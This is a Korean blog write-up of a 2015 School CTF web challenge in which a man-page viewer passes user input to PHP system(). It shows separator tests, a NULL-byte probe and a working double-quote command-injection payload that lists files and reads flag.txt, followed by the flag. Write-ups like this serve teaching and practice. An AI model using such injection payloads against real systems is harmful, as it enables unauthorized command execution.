티스토리 뷰

최종 수정: 2015-11-08

hackability@TenDollar


안녕하세요. Hackability 입니다.


이번에 포스팅 할 내용은 2015 School CTF 의 Exploit 300 문제 입니다.


문제에서는 웹 인터페이스를 통해 유닉스 명령어 man 페이지와 같은 역할을 보여줍니다.




페이지 소스 코드 보기를 하여 서버로 요청하는 API 를 찾아 보면 custom.js 에서 POST 방식으로 cmds 라는 파라미터를 갖고 man.php 로 날림을 알 수 있습니다.

따라서 간단히 코드를 생성하여 몇 가지 테스트를 해봅니다.
(이와 관련된 문제 유형의 키워드 : CLI Injection)

ls;pwd (실패)
ls | pwd (실패)
ls && pwd (실패)
등등등

계속 실패 해서 어떻게 구현되어 있는걸까 하다가 문득 \x00 으로 문자열을 넣어봣더니

<b>Warning</b>:  system(): NULL byte detected. Possible attack in <b>/var/www/html/man.php</b> on line <b>7</b><br />

메시지가 발생했습니다. 이 에러 메시지를 통해 지금 제 입력이 정확히 system 에서 동작함을 알 수 있었고 어떻게 하면 우회할 수 있을까 찾다가 더블쿼트를 이용하여 우회 하게 되었습니다.

cmds = "\"ls ; ls\"";

결과

ls (1)               - list directory contents
assets
flag.txt
index.html
makeitclean
man.php

위에 flag.txt 가 있음을 확인하였고 "\"ls; cat flag.txt\"" 를 통해 정답을 얻었습니다.

every_haxor_loves_EvAlS


댓글